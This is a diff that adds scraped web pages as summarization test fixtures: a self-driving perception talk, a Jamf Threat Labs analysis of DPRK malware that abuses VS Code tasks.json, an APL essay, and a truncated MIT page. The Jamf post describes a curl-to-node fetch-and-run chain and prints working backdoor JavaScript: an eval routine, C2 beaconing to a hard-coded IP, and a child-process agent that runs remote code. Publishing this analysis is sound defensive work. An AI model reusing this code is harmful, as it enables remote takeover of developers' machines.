training sets. Let me give you an example. Let's say we wanted to detect scenes where we failed to complete a lane change. These are hard to capture with rules and heuristics, and even harder to generalize with standard classifiers trained from scratch, since we need a genuine understanding of the scene over time. With this approach, we could collect a handful of positive and negative examples of us failing to complete lane changes, embed them using our foundation model, and train a small classifier on top of these embeddings. Just like that, we have a high accuracy model for a niche perception task trained in minutes. This approach also fits perfectly with everything we've built so far. We've already embedded the corpus. We've already used clustering or auto-labeling to explore and identify edge cases, and now we can refine those results using lightweight training on top. Because we now have a small labeled ground truth set, we can immediately run k-fold validation to get the metrics, like accuracy, precision, and recall, without needing to scale up annotation efforts. This allows us to evaluate the classifier quality with confidence before scaling further. Instead of retraining massive model every time a new requirement appears, we can just add another small head and fine-tune to our needs. This is where Perception 2.0 becomes truly modular. You don't start from scratch, you build on top of a shared embedded understanding of the world, whether it's classification, filtering, or evaluation. Everything becomes faster and more composable. It's not just classification that it would be good for. Some perception tasks, for example, involve continuous values like distances, angles, speeds. This is where few-to-zero shot regression comes in. Just like with classification, we can use the same embeddings generated by the foundation models, but instead of predicting a class, we can train regression heads to output a continuous value. Suppose we want to estimate the following distance between two vehicles, a metric we use frequently for safety evaluation and behavioral analysis. Traditionally, this would require 3D cuboid annotations, but now with this approach, we can embed the frames using a foundation model and annotate a small set of examples with known following distances. Like we did before, we train light head regression heads on top of these embeddings. Because this embedding space already encodes information about objects and scene context, we can reach useful accuracy levels with very little data. Unfortunately, you might still need some manually labeled data to get this ground truth if you don't have access to LiDAR or radar to provide it for you. Now we're talking in the scale of a hundred samples rather than hundreds of thousands we needed to train a cuboid model from scratch. The same approach can be applied to many tasks, for example, distance to lane boundaries, gap estimation during merges, or time to collision approximations. The beauty of this method is that you don't need to run an expensive 3D perception pipeline to get useful metrics. You can extract meaningful, fine-grained insights directly from the embeddings, and do so quickly, flexibly, at scale. Just like with classification, few-shot regression gives us fast, low-friction way to extract continuous measurements from video data without custom models, heavy annotation, or complex geometry. That's what makes it a powerful tool in the Perception 2.0 toolkit, especially for large-scale evaluation pipelines, scene mining, and behavior tracking. Recap Now that brings us full circle. We've moved from traditional rigid pipelines to modular embedding-based workflows that scale with our data and adapt to new tasks quickly and stay responsive to change. Let's take a step back to recap the key ideas. Traditional computer vision as we know it is dead. We're no longer training bespoke models for every task. We're embedding once and building everything else on top. Once these embeddings are computed, they enable a wide range of downstream tasks such as search, clustering, classification, regression, with minimal additional effort. We're no longer bound to rigid taxonomies. With natural language queries and open vocabulary models, we can label and retrieve data without defining every class in advance. Auto-labeling changes the scale, but it still requires care. With techniques like consensus labeling and prompt engineering, we can improve label quality without having to fall back on manual annotation. Lastly, instead of training end-to-end models for every task, we can build small heads on top of shared embeddings. These lightweight classifiers and regressors can match traditional performance with a fraction of time, data, and cost. Conclusion I started this talk by showing you two unusual scenes, the table sitting in the middle of the motorway and a woman falling off her bike in front of our vehicle. I posed the question how you would go about finding similar scenes in this dataset. Everything we've walked through, embeddings, search, clustering, auto-labeling, and zero-shot adapters was designed to solve exactly that kind of problem. I wanted to end by showing you two more clips, scenarios that we found using the exact methods that I've shared in this talk. We have a bin in the road. Lastly, this one's quite dark. Yes, you can see we managed to find another cyclist falling off their bike in front of us in the road. Questions and Answers Participant 1: Have I understood correctly that the new perception method collects the same representation data as the previous one, or you change the things that you collect? Because this data, you need to make a control after that, not only perception. What are the changes this method gives you in the whole pipeline of self-driving? Kyra Mozley: Does Perception 2.0 approach change the data we're collecting for our autonomous driving pipeline? This will depend, depending on the AV company you ask. As I mentioned at the start, Wayve has always been an end-to-end driving approach. We only take camera frame inputs in. We've never driven with LiDAR data or anything else. In terms of the way we approach driving, it hasn't changed it, because obviously all the foundation models that we use work on video understanding. Video in is still very much important, both for retrieving the scenes and for the task of driving for us. I think maybe it might make other companies that use very rigid AV 1.0 approaches reconsider perhaps all the stack they collect. Participant 2: After your reclassification of all the data you had, what were the most surprising or unexpected scenes which the computer showed you? Kyra Mozley: After classifying all of our data, what were the most unexpected scenes that we retrieved? Some of them were some visual camera errors that went unnoticed for a lot longer than they should. We found that, yes, some runs the cameras were just purple for a while on one camera which was quite bad. Now we have ways to detect camera failures automatically, which is good. I think, yes, just these interesting edge cases like the cat causing the guy to fall off the bike was interesting. There was another one where it was a dog pooping in the road that we had to stop for. That was pretty funny. A mix of serious and funny. Luu: Real life is messy. Participant 3: To me it seems that you can't quite deploy this to the vehicle yet because the foundational models are a little bit too slow. Would that be correct? Kyra Mozley: Can we deploy these to the car at the moment? The answer is no, they're way too big currently. Was there going to be a follow-up of what are we going to do? We've definitely seen a shift now to more embedded systems. We're doing more like edge filtering on the car, rather than sending back all the data that we get, maybe we only need to send back a sample. We can start looking at edge filtering techniques. Maybe we need to distill the foundation models so that way they're smaller and can run on car. Or, yes, a lot of quantization. I think distillation is the biggest future area. Luu: Performance and tuning these models. Participant 4: You talked about clustering and removing bad data from faulty sensors, for example. I'm curious, would that bad data ever be useful in a real-world example where a car might have a faulty sensor at some point? Would it be useful to explore that any further? Kyra Mozley: I spoke about removing the bad data cluster earlier, but is there a world where actually we need that bad data? I think it depends on why it was bad. For example, when your lenses are covered, as I mentioned that we only drive on camera inputs, so if there is no visual input, is that really useful for the model? We'd rather have more fail-safe measures in place for the car to stop driving rather than trying to carry on and drive if all of its cameras were covered, for example. If it's bad data in maybe like rainy conditions, that could be useful to obviously definitely put into the training data. It's just more about discovering why the data is bad and then allowing the people training the driving models to make those calls on how they want to balance on those different types of bad, would be my answer. See more presentations with transcripts +============== diff --git a/tests/summarization/https___www.jamf.com_blog_threat-actors-expand-abuse-of-visual-studio-code_.txt b/tests/summarization/https___www.jamf.com_blog_threat-actors-expand-abuse-of-visual-studio-code_.txt new file mode 100644 index 0000000..a62b659 --- /dev/null +++ b/tests/summarization/https___www.jamf.com_blog_threat-actors-expand-abuse-of-visual-studio-code_.txt @@ -0,0 +1,217 @@ +Skip to main content English English Jamf Home Toggle Navigation Why Jamf Why Jamf Meet Jamf: The most complete Apple device management and security solution. Learn More Solutions Jamf for Mac Mac management, identity and endpoint security Jamf for Mobile Mobile device management, security and ZTNA Jamf for K-12 Management and security for the classroom Jamf for Small Business Simple Apple management and security Solutions Why Jamf Meet Jamf: The most complete Apple device management and security solution. Learn More Solutions Jamf for Mac Mac management, identity and endpoint security Jamf for Mobile Mobile device management, security and ZTNA Jamf for K-12 Management and security for the classroom Jamf for Small Business Simple Apple management and security Products Products Empower your employees with our best-in-class products. Learn More Jamf Pro Device management for business & higher education Jamf Now Device management for small & medium-sized businesses Jamf School Device management for K-12 Jamf Protect Endpoint security & protection Jamf Connect Identity & access management Jamf Safe Internet Security for education Jamf Executive Threat Protection Advanced security Pricing Pricing Find the best set of Jamf tools for your budget. Pricing options Business pricing For small business to enterprise Education pricing For K-12 Education Try or buy Request a trial Free, 14-day Jamf trial From a Partner Find a reseller Resources Resources Whether you’re looking for education or inspiration, Jamf has you covered with the latest industry and product-specific resources. View Resources Blog Get the latest industry insights, news, product updates and more. E-books Thought-provoking content designed to keep you ahead of industry trends. White Papers Research reports and best practices to keep you informed of Apple management tactics. Videos See product demos in action and hear from Jamf customers. Case Studies Apple success stories from those saving time and money with Jamf. Webinars On-demand webinar videos covering an array of Apple management topics. Product Documentation Learn more about our products and what they can do for your organization. Partners Partners Current partner, future partner or purchasing from a partner - you’re in the right place. Learn More For partners Register a deal Resources Training Login to Jamf Partner Hub Explore more Become a partner MSP Resellers Services Partners Technology Explore more Start Trial Contact Site Search Start Trial Contact Jamf Home Blog Threat Actors Expand Abuse of Microsoft Visual Studio Code Start Trial Threat Actors Expand Abuse of Microsoft Visual Studio Code Jamf Threat Labs identifies additional abuse of Visual Studio Code. See the latest evolution in the Contagious Interview campaign. January 20 2026 by Jamf Threat Labs By Thijs Xhaflaire Introduction At the end of last year, Jamf Threat Labs published research related to the Contagious Interview campaign, which has been attributed to a threat actor operating on behalf of North Korea (DPRK). Around the same time, researchers from OpenSourceMalware (OSM) released additional findings that highlighted an evolution in the techniques used during earlier stages of the campaign. Specifically, these newer observations highlight an additional delivery technique alongside the previously documented ClickFix-based techniques. In these cases, the infection chain abuses Microsoft Visual Studio Code task configuration files, allowing malicious payloads to be executed on the victim system. Following the discovery of this technique, both Jamf Threat Labs and OSM continued to closely monitor activity associated with the campaign. In December, Jamf Threat Labs identified additional abuse of Visual Studio Code tasks.json configuration files. This included the introduction of dictionary files containing heavily obfuscated JavaScript, which is executed when a victim opens a malicious repository in Visual Studio Code. Jamf Threat Labs shared these findings with OSM, who subsequently published a more in-depth technical analysis of the obfuscated JavaScript and its execution flow. Earlier this week, Jamf Threat Labs identified another evolution in the campaign, uncovering a previously undocumented infection method. This activity involved the deployment of a backdoor implant that provides remote code execution capabilities on the victim system. At a high level, the chain of events for the malware look like so: Throughout this blog post we will shed light on each of these steps. Initial Infection In this campaign, infection begins when a victim clones and opens a malicious Git repository, often under the pretext of a recruitment process or technical assignment. The repositories identified in this activity are hosted on either GitHub or GitLab and are opened using Visual Studio Code. When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system. On macOS systems, this results in the execution of a background shell command that uses nohup bash -c in combination with curl -s to retrieve a JavaScript payload remotely and pipe it directly into the Node.js runtime. This allows execution to continue independently if the Visual Studio Code process is terminated, while suppressing all command output. In observed cases, the JavaScript payload is hosted on vercel.app, a platform that has been increasingly used in recent DPRK-related activity following a move away from other hosting services, as previously documented by OpenSourceMalware. Jamf Threat Labs reported the identified malicious repository to GitHub, after which the repository was removed. While monitoring the activity prior to takedown, we observed the URL referenced within the repository change on multiple occasions. Notably, one of these changes occurred after the previously referenced payload hosting infrastructure was taken down by Vercel. The JavaScript Payload Once execution begins, the JavaScript payload implements the core backdoor logic observed in this activity. While the payload appears lengthy, a significant portion of the code consists of unused functions, redundant logic, and extraneous text that is never invoked during execution (SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc). This additional code increases the size and complexity of the script without impacting its observed behavior. It is passed to the node executable as one large argument. Focusing on the functional components, the payload establishes a persistent execution loop that collects basic host information and communicates with a remote command-and-control (C2) server. Hard-coded identifiers are used to track individual infections and manage tasks from the server. Core backdoor functionality While the JavaScript payload contains a significant amount of unused code, the backdoor's core functionality is implemented through a small number of routines. These routines provide remote code execution, system fingerprinting, and persistent C2 communication. Remote code execution capability The payload includes a function that enables the execution of arbitrary JavaScript while the backdoor is active. At its core, this is the main functionality of this backdoor. function Hp(_0x2d7a84) { + try { + return new Function('require', _0x2d7a84)(require); + } catch {} +} This function allows JavaScript code supplied as a string to be dynamically executed over the course of the backdoor lifecycle. By passing the requirefunction into the execution context, attacker-supplied code can import additional Node.js modules allowing additional arbitrary node functions to be executed. System fingerprinting and reconnaissance To profile the infected system, the backdoor collects a small set of host-level identifiers: function Mp() { + return { + hostname: _0x2b1193, + macs: _0x56ed9b, + os: _0x1ac0fe + " " + _0x35b84f + " (" + _0x3fea09 + ")" + }; +} This routine gathers the system hostname, MAC addresses from available network interfaces, and basic operating system details. These values provide a stable fingerprint that can be used to uniquely identify infected hosts and associate them with a specific campaign or operator session. In addition to local host identifiers, the backdoor attempts to determine the victim’s public-facing IP address by querying the external service ipify.org, a technique that has also been observed in prior DPRK-linked campaigns. Command-and-control beaconing and task execution Persistent communication with the C2 server is implemented through a polling routine that periodically sends host information and processes server responses. The beaconing logic is handled by the following function: async function jo() { + let _0x53639c = await Ip.get('http://87.236.177.9:3000/api/errorMessage', { + params: { + sysInfo: _0x358fa0, + exceptionId: 'env19475', + instanceId: So + } + }); + + if (_0x53639c.data.status === 'error') { + Hp(_0x53639c.data.message || "Unknown error"); + } +} + +setInterval(jo, 0x1388); This function periodically sends system fingerprinting data to a remote server and waits for a response. The beacon executes every five seconds, providing frequent interaction opportunities. The server response indicates successful connectivity and allows the backdoor to maintain an active session while awaiting tasking. Request: + +GET /api/errorMessage?sysInfo[hostname]=ManagedMachine2&sysInfo[macs][0]=9e:8f:cf:6c:04:5c&sysInfo[os]=Darwin+25.0.0+(darwin)&exceptionId=env19475&instanceId=414066c0-a6e8-4fcb-81bc-4ccf52f39999 HTTP/1.1 +Host: 87.236.177.9:3000 +User-Agent: axios/1.13.2 +Accept: application/json +Connection: keep-alive + +----- + +Response: + +HTTP/1.1 200 OK +Content-Type: application/json +Connection: timeout=5 + +{"status":"ok","message":"server connected", "instanceId":"414066c0-a6e8-4fcb-81bc-4ccf52f39999"} If the server response contains a specific status value, the contents of the response message are passed directly to the remote code execution routine, mentioned prior. Further Execution and Instructions While monitoring a compromised system, Jamf Threat Labs observed further JavaScript instructions being executed roughly eight minutes after the initial infection. The retrieved JavaScript went on to set up a very similar payload to the same C2 infrustructure. /opt/homebrew/Cellar/node/24.8.0/bin/node -e + let agentId = "d2bdc4a4-6c8a-474a-84cf-b3219a1e68e4" + const SERVER_IP = "http://87.236.177.9:3000/" + let handleCode = "8503488878" + + const { spawn, spawnSync } = require("child_process"); + const os = require("os"); + const path = require("path"); + const managedPids = new Set(); + + function stopAllProcesses() { + for (const pid of managedPids) { + try { + if (process.platform === "win32") { + require("child_process").spawn("taskkill", ["/PID", String(pid), "/T", "/F"], { stdio: "ignore" }); + } else { + process.kill(-pid, "SIGTERM"); + setTimeout(() => { try { process.kill(-pid, "SIGKILL"); } catch {} }, 1000); + } + } catch {} + } + managedPids.clear(); + } + + async function getSystemInfo() { + // PC hostname + const hostname = os.hostname(); + + // MACs (from all interfaces) + const macs = Object.values(os.networkInterfaces()) + .flat() + .filter(Boolean) + .map(n => n.mac) + .filter(mac => mac && mac !== "00:00:00:00:00:00"); + + // OS details + const osName = os.type(); + const osRelease = os.release(); + const platform = os.platform(); + + // Public IP + let publicIp = "unknown"; + try { + const res = await fetch("https://api.ipify.org?format=json"); + const data = await res.json(); + publicIp = data.ip; + } catch (err) { + reportError('deps-address',err) + } + + return { + hostname, + publicIp, + macs, + os: osName + " " + osRelease + " (" + platform + ")" + }; + } + + async function reportError(type, error) { + const payload = { + type, // you can adjust type as needed + hostname: os.hostname(), + message: error.message || String(error), + agentId, + handleCode + }; + try { + const url = SERVER_IP + "api/reportErrors" + const res = await fetch(url, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(payload), + }); + } catch (e) { + } + } + + async function requestServer (sysInfo) { + new Promise((resolve, reject) => { + const url = SERVER_IP + "api/handleErrors" + fetch( url, { + method: "POST", + headers: { + "Content-Type": "application/json" // telling server we send JSON + }, + body: JSON.stringify({ + agentId: agentId, + handleCode: handleCode.toString(), + sysInfo + }) + }).then(res => res.json()) // parse JSON response + .then(data => { + const {responseCode, messages, status, newAgentId} = data + if (responseCode) handleCode = responseCode + if (responseCode == '-1') { + stopAllProcesses() + setTimeout(() => process.exit(0), 2000); + } + if (newAgentId && newAgentId !== "") agentId = newAgentId + if (messages && Array.isArray(messages)) { + for (let i = 0; i < messages.length; i++) { + const message = messages[i] + var safeCwd; + try { + safeCwd = process.cwd(); + } catch (e) { + safeCwd = os.homedir(); + } + try { + process.on("SIGHUP", () => { /* ignore */ }); + const child = spawn(process.execPath, ["-"], { + cwd: safeCwd, + detached: true, + windowsHide: true, + stdio: ["pipe", "ignore", "ignore"] + }); + child.stdin.write(message); + child.stdin.end(); + child.on("error", (error) => { + reportError('deps-child-main',error) + }); + child.unref(); + managedPids.add(child.pid); + } catch (error) { + reportError("deps-running", error) + } + } + } + resolve() + }) + .catch(error => { + resolve() + reportError('deps-main',error) + console.log(error) + }); + }); + } + + const sleep = ms => new Promise(r => setTimeout(r, ms)); + + (async () => { + try { + + const sysInfo = await getSystemInfo() + while (true) { + const timeout = new Promise((_, rej) => setTimeout(() => rej("timeout"), 10_000)); + try { + await Promise.race([requestServer(sysInfo), timeout]); + await sleep(5000); // wait 2s after a normal finish + } catch (e) { + if (e === "timeout") continue; // timed out → try again immediately + await sleep(5000); // other error → wait 2s then retry + } + } + } catch(error) { + reportError('deps-theard',error) + } + })(); + + + Review of this retrieved payload yields a few interesting details... It beacons to the C2 server every 5 seconds, providing its system details and asks for further JavaScript instructions. It executes that additional JavaScript within a child process. It's capable of shutting itself and child processes down and cleaning up if asked to do so by the attacker. It has inline comments and phrasing that appear to be consistent with AI-assisted code generation. Conclusion This activity highlights the continued evolution of DPRK-linked threat actors, who consistently adapt their tooling and delivery mechanisms to integrate with legitimate developer workflows. The abuse of Visual Studio Code task configuration files and Node.js execution demonstrates how these techniques continue to evolve alongside commonly used development tools. Jamf Threat Labs will continue to track these developments as threat actors refine their tactics and explore new ways to deliver macOS malware. We strongly recommend that customers ensure Threat Prevention and Advanced Threat Controls are enabled and set to block mode in Jamf for Mac to remain protected against the techniques described in this research. Developers should remain cautious when interacting with third-party repositories, especially those shared directly or originating from unfamiliar sources. Before marking a repository as trusted in Visual Studio Code, it’s important to review its contents. Similarly, "npm install" should only be run on projects that have been vetted, with particular attention paid to package.json files, install scripts, and task configuration files to help avoid unintentionally executing malicious code. Indicators or Compromise Repository URL: https://github.com/CannonOps/backend/blob/dev/.vscode/tasks.json +Repository URL: https://github.com/CannonOps/frontend-website/blob/dev/.vscode/tasks.json +Malicious Vercel URL: https://edgeauth.vercel.app/api/getMoralisData?token=Z4T9QH +Malicious Vercel URL: https://moralmetrics.vercel.app/api/getMoralisData?token=Z4T9QH +C2 IP: 87.236.177.9:3000 +C2 DNS: srv37746.hosted-by-eurohoster.org +Javascript Payload SHA256: 932a67816b10a34d05a2621836cdf7fbf0628bbfdf66ae605c5f23455de1e0bc +JavaScript Payloads sharing similarities: +SHA256: 67c05c1624a227959728e960e4563435db2519a24a46e95207a42ea8d4307e2d +SHA256: f8ae6ae9d6a13a8dddb05975930161601b5cfdd0cec30b7efdc5ba0606774998 +SHA256: 71e4ea17c871b983a2cbbea7a4fbd7fe498951c8fe4a1e17377e9aa06fd7184a +SHA256: 71d8a974548e4e152e2c818d1febb7862632c1f9bff6adaa731bbaf6b23bd4b9 +SHA256: 1b26f73fa88f8c3b17adf6db12ec674481db1f92eb04806815b8fbd6086f07ef +SHA256: a2194390105731ce33cb9a51011c42a39a440942e907099f072916a36f17ef4b + + Dive into more Jamf Threat Labs research on our blog. Read More Tags: Jamf Threat Labs Share Share on Facebook Share on Twitter Share on LinkedIn Share via email Jamf English English Jamf’s purpose is to simplify work by helping organizations manage and secure an Apple experience that end users love and organizations trust. Jamf is the only company in the world that provides a complete management and security solution for an Apple-first environment that is enterprise secure, consumer simple and protects personal privacy. Learn about Jamf. +1 612-605-6625 info@jamf.com Business Education Healthcare The Jamf platform AI Assistant Zero-touch deployment Mobile Device Management (MDM) App management Inventory management Self Service+ and Self Service Identity and access management Endpoint protection Threat prevention and remediation Content filtering and safe internet Zero Trust Network Access (ZTNA) Security visibility and compliance Business pricing Education pricing Jamf Support Premium Support Technical Support Desk Services Premium Services Jamf Services Policies Training Training Policies Resources Events Blog E-books Case Studies White Papers Jamf Threat Labs Partners For partners Become a partner Buy from a partner Marketplace Developers Products Jamf Pro Jamf Now Jamf School Jamf Connect Jamf Protect Jamf Safe Internet Jamf Executive Threat Protection Integrations Apple AWS Microsoft Google Okta About Leadership Contact News Press Releases Careers Events Investor Relations Media Kit Trust Center Corporate Responsibility Jamf Ventures Vulnerability Disclosure Program English English All contents © copyright 2002-2026 Jamf. All rights reserved. Copyright Privacy Terms of Use Trust Modern Slavery Act Statement Twitter LinkedIn YouTube Instagram Facebook Back to Top Cookie Settings Privacy Preference Center When you visit any website, it may store or retrieve information on your browser, mostly in the form of cookies. This information might be about you, your preferences or your device and is mostly used to make the site work as you expect it to. The information does not usually directly identify you, but it can give you a more personalized web experience. Because we respect your right to privacy, you can choose not to allow some types of cookies. Click on the different category headings to find out more and change our default settings. However, blocking some types of cookies may impact your experience of the site and the services we are able to offer. More information Allow All Manage Consent Preferences Targeting Cookies Targeting Cookies These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising. View Vendor Details‎ Functional Cookies Functional Cookies These cookies enable the website to provide enhanced functionality and personalisation. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly. View Vendor Details‎ Performance Cookies Performance Cookies These cookies allow us to count visits and traffic sources so we can measure and improve the performance of our site. They help us to know which pages are the most and least popular and see how visitors move around the site. All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance. View Vendor Details‎ Strictly Necessary Cookies Always Active These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information. View Vendor Details‎ Back Button Vendors List Search Icon Filter Icon Clear checkbox label label Apply Cancel Consent Leg.Interest checkbox label label checkbox label label checkbox label label Confirm My Choices +============== diff --git a/tests/summarization/https___www.jsoftware.com_papers_perlis77.htm.txt b/tests/summarization/https___www.jsoftware.com_papers_perlis77.htm.txt new file mode 100644 index 0000000..577dd3c --- /dev/null +++ b/tests/summarization/https___www.jsoftware.com_papers_perlis77.htm.txt @@ -0,0 +1,2 @@ +In Praise of APL: A Language for Lyrical Programming Professor Alan J. Perlis Yale University Many reasons can be given for teaching one or more aspects of computer science (defined as the study of the set of phenomena arising around and because of the computer) to all university students. Probably every reader of this note supports some of these reasons. Let me list the few I find most important: (1) to understand and to be able to compose algorithms; (2) to understand how computers are organized and constructed; (3) to develop fluency in (at least) one programming language; (4) to appreciate the inevitability of controlling complexity through the design of systems; (5) to appreciate the devotion of computer scientists to their subject and the exterior consequences (to the student as citizen) of the science’s development. Even though computer science deals with symbolic objects whose nature we study mathematically, it cannot be taught as an orderly development arising from a few fundamental ideas whose existence the student has already observed intuitively during his maturation, such as gravitation and electricity. It is during this first computer course that the student awakes to the possibilities and consequences of computation. They arise most usefully and in greatest profusion during his writing of programs. He must program and program and program! He must learn how to state precisely in a programming language what he perceives about the nature of symbolic systems. I know of no better way to expedite this awakening than by programming. But what should the student program? and in what language? I do not place much emphasis on heavy use of other people’s programs, packages if you will, that perform real services such as statistical packages, data management systems, linear equations solvers, etc. While it is wise to use standard programs when they match one’s needs, it is more important to master self-expression during this initial contact. Available time is a limiting factor; a semester provides about 16 weeks of contact. During that interval the student must negotiate a set of tasks that sharpens his abilities and explodes his perceptions of the computer’s capabilities. He must be on the computer early and often during the semester and his approach to it must be smooth and easy. The computer system he uses should be time-sharing and interactive, if you will. Learning to program involves a sequence of acts of discovery punctuated by recovery from errors. As the semester progresses the causes and nature of errors will change. Certain kinds will diminish and even disappear, only to be replaced by errors of deeper significance, harder to isolate and more resistant to satisfactory removal — syntactic gaffes give way to semantic errors — incorrect perceptions of purpose, improper use of means, the use of hammers to swat flies and swatters to level mountains. To write correct and balanced programs a student may be forced to move between programs that are not related to each other by a few simple textual rearrangements. He must learn to write and test complicated programs quite rapidly. As he moves through the sequence of assigned tasks his ability to express himself fluently should not founder too soon because of language shortcomings. For all of the above reasons as well as a few others, I have come to believe that APL is the most rational first language for a first course in computer science. It is true that BASIC and FORTRAN are easier to learn than APL, for example, a week versus a month. However, once mastered, APL fits the above requirements much better than either BASIC or FORTRAN or their successors ALGOL 60, PL/I and Pascal. The syntax of APL is not a significant difficulty for the students. The large number of primitive functions, at first mind-numbing in their capabilities, quickly turn out to be easily mastered, soon almost all are used naturally in every program — the primitive functions form a harmonious and useful set. As a data organization, arrays turn out to be extraordinarily useful (though prolonged contact with APL makes one wish for the added presence of more heterogeneous structures). Style and Idiom The virtues of APL that strike the programmer most sharply are its terseness — complicated acts can be described briefly, its flexibility — there are a large number of ways to state even moderately complicated tasks (the language provides choices that match divergent views of algorithm construction), and its composability — there is the possibility to construct sentences — one-liners as they are commonly called — that approach in the flow of phrase organization, sequencing and imbedding, the artistic possibilities achievable in natural language prose. The sweep of the eye across a single sentence can expose an intricate, ingenious and beautiful interplay of operation and control that in other programming languages is observable only in several pages of text. One begins to appreciate the emergence and significance of style and to observe that reading and writing facility is tied to the development of an arsenal of idioms which soon become engraved in one’s skull as units. The combination of these three factors makes it possible to develop an excellent set of exercises in the first course. These exercises can be large in number, cover a wide range of topics and vary widely in complexity, and still be done during the 16 week period. The later exercises can be tied to the design and development of a system — a collection of procedures that, in varying combinations, perform a set of tasks. In Teaching Computer Organization To appreciate computer science one requires an understanding of the computer. Once the student understands the computer — its macroscopic components monitored by the fetch-execute cycle and its apparent complexity being controlled by gigantic replication of a few simple logical elements — he can become aware of the important equilibrium between hardware and software — the shifting of function between the two as determined by economic factors — and between algorithm and system as determined by traffic and variation. Using APL it is straightforward to model a computer and to illustrate any of its macroscopic or microscopic components at any level of detail. The programs to perform these functions at every level of description remain small and manageable — about 40 lines or so. The development of software, e.g., a machine language assembler, is a task of similar difficulty (about 40 lines) and hence possible within the confines of a first course. Word processing and graphics, increasingly important application areas of computers, can be explored with exercises of no great size, e.g., to do permuted-index of title lists (~12 lines), display, rotation and scaling of composites of polygons (~20 lines), graphing of functions (~5 lines), etc. With (or even without) the use of 2 or 3 pre-built functions, file processing problems such as payroll, personnel search, etc. can be written in a relatively few lines. An important consequence of the attainable brevity of these compositions cannot be ignored: the student becomes aware that he need not be forced to depend upon external, pre-packaged and elaborate systems to do what are really simple programming tasks. Instead of learning a new coding etiquette to negotiate a complex external system, he writes his own programs, develops his own systems tailor-made to his own needs and understood at all levels of detail by him. If anything is meant by man-machine symbiosis, it is the existence of such abilities on the man side of the “membrane”, for there is no partnership here between man and machine, merely the existence of a growing, but never perfectly organized, inventory of tools that the competent can pick among, adapt and use to multiply his effective use of the computer. I cannot overemphasize the importance of terseness, flexibility and phrase growth to a beginning student. His horizons of performance are being set in this first course. If he sees a task as a mountain then its reduction to molehill proportions is itself a considerable algorithmic task. While this is true of very large tasks, even when using APL this conscious chaining of organized reductions can be postponed until the student has already collected a large number of useful data-processing functions, engraved in his skull, with which to level mountains. It is important to recognize that no matter how complicated the task, the APL functions will usually be anywhere from 1/5 to 1/10 the number of statements or lines, or what have you, of a FBAPP (FORTRAN or BASIC or ALGOL or PL/I or Pascal) program. Since APL distributes, through its primitive functions, control that the other languages explicate via sequences of statements dominated by explicit control statements, errors in APL programs tend to be far fewer in number than in their correspondents in FBAPP. I can come now to the topics of structured programming and program verification. Both are important, but their content and importance depend strongly on the language in which programs are couched. A program is well-structured if it has a high degree of lexical continuity: small changes in program capability are acquired by making changes within lexically close text (modularization). Since APL has a greater density of function within a given lexical scope than FBAPP, one would expect that APL programs will support considerably more structure than equivalent size FBAPP programs. Put another way, since the APL programs are 1/5 to 1/10 the size of FBAPP programs, the consequences to APL programs of weak structuring are less disastrous. Recovery from design mistakes is more rapid. Since we can only structure what we already understand, the delay in arriving at stable program organization should be considerably less with FBAPP! Please note that the emphasis here is on the control of propagation of relationships, not the nonsense of restricting goto or bathing programs in cascades of while loops. The verification, formal or informal, of programs is a natural and important activity. It is linked to specification: what we can’t specify we can’t verify. By specification we mean stating what is to be output for a given input. We immediately observe that, since specification in FBAPP is extremely tedious and unnatural, we must use some other language. APL turns out to be quite good and has often been suggested as a specification language. Assertions and verification conditions can be much more easily expressed as APL predicates than as FBAPP predicates. Because of the widespread distribution of control into the semantics of primitive functions, for which no proof steps need then be given, APL verifications tend to be, just as their counterpart APL programs, shorter and more analytic than equivalent FBAPP program verifications. APL and Architecture The form of the FBAPP languages follows closely the structure of the computers that prevailed during their inception. They have the nice property that one may often optimize machine performance of their compiled programs by transforming FBAPP programs to other FBAPP programs. Control of the computer is more easily exercised with programs in these languages than with APL, since the latter is more independent of current machines. For many programs this control over the target machine performance is quite vital, and APL couples more weakly to the standard computer than does FBAPP. However, new array processing computers are beginning to appear and, had they been standard 20 years ago, APL and not FORTRAN would have been the prototype of language development. I often wonder at what descriptive levels we would be programming today had that been the case! Since it was not the case, we should not throw out or limit APL. We must seek ways to match it to the common computer. We must design compilers as well as computers that fit APL better. More Cost-Effective than BASIC Cost is an important issue in the instructional process. An APL computer system currently costs about $10K per terminal, about twice the cost of a BASIC system. As APL system designs stabilize and integrated circuitry costs drop, the two figures will coincide at or near the cost of a contemporary terminal. However, even now the APL system is cheaper than BASIC systems for equivalent work loads because one can do more than twice as much with APL in a given period of time than with BASIC! Let me mention in closing two additional issues regarding the use of APL in an introductory computer science course. First, most university computer scientists don’t really know APL. They haven’t appreciated what it means to think in APL — to think about parallel operations in arrays and to distribute and submerge explicit looping among its primitive functions. I am reminded of the difficulties many math departments experience when they try to replace calculus by a fine math and combinatorics course as the first meat and potatoes offering by the department to the university. However at Yale we have found that faculty outside the software milieu — in theory, for example — pick up APL quite fast and prefer it to FBAPP. I am sure the same is true elsewhere. The second issue is of a different kind. I am firmly convinced that APL and LISP are related to each other along an important axis of language design and that acquiring simultaneous expertise in both languages is possible and desirable for the beginning student. Were they unified, the set of tasks that succumb to terse, flexible and expressive descriptions will enlarge enormously without overly increasing the intellectual burden on the student over his initial 16 week contact period. Above all, remember what we must provide is a pou sto to last the student for 40 years, not a handbook for tomorrow’s employment. First appeared in SIAM News, 1977-06. created: 2012-10-11 03:00 updated: 2012-10-17 16:25 +============== diff --git a/tests/summarization/https___www.media.mit.edu_publications_your-brain-on-chatgpt_.txt b/tests/summarization/https___www.media.mit.edu_publications_your-brain-on-chatgpt_.txt new file mode 100644 index 0000000..7ee3823 --- /dev/null +++ b/tests/summarization/https___www.media.mit.edu_publications_your-brain-on-chatgpt_.txt @@ -0,0 +1,2 @@ +User Login Search Search Nav Nav Find People, Projects, etc. Search Login Register Email: Password: Work for a Member 